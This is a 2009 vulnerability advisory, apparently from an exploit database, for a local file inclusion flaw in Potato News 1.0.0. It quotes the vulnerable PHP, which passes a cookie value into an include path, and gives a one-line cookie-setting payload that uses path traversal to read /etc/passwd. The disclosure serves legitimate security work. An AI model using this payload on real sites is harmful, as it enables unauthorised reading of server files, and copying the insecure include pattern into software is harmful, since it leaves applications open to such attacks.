Potato News 1.0.0 (user) Local File Inclusion Vulnerability

2009.02.27
Credit: x0r
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################################### [0x01] Informations: Name : Potato News 1.0.0 Download : http://potato-news.googlecode.com/files/potatonews-1.0.0.zip Vulnerability : LFI Author : x0r Contact : andry2000@hotmail.it Notes : Proud to be Italian ######################################################################################### [0x02] Bug: Bugged file is /[path]/admin.php [Code] <?PHP if (isset($_COOKIE["user"])) { $id = $_COOKIE["user"]; if (file_exists("data/users/$id.php")) { include ("data/users/$id.php"); if ($usaavatar == "") { echo "<img height='75px' width='75px' src='images/noav.jpg'/>"; } else { echo "<img height='75px' width='75px' src='$usaavatar'/>"; } } [/code] ######################################################################################### [0x03] Exploit: Exploit: javascript:document.cookie = "user=../../../../../../../../../../etc/passwd%00; path=/" ########################################################################################

References:

http://www.securityfocus.com/bid/33729
http://www.milw0rm.com/exploits/8032


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top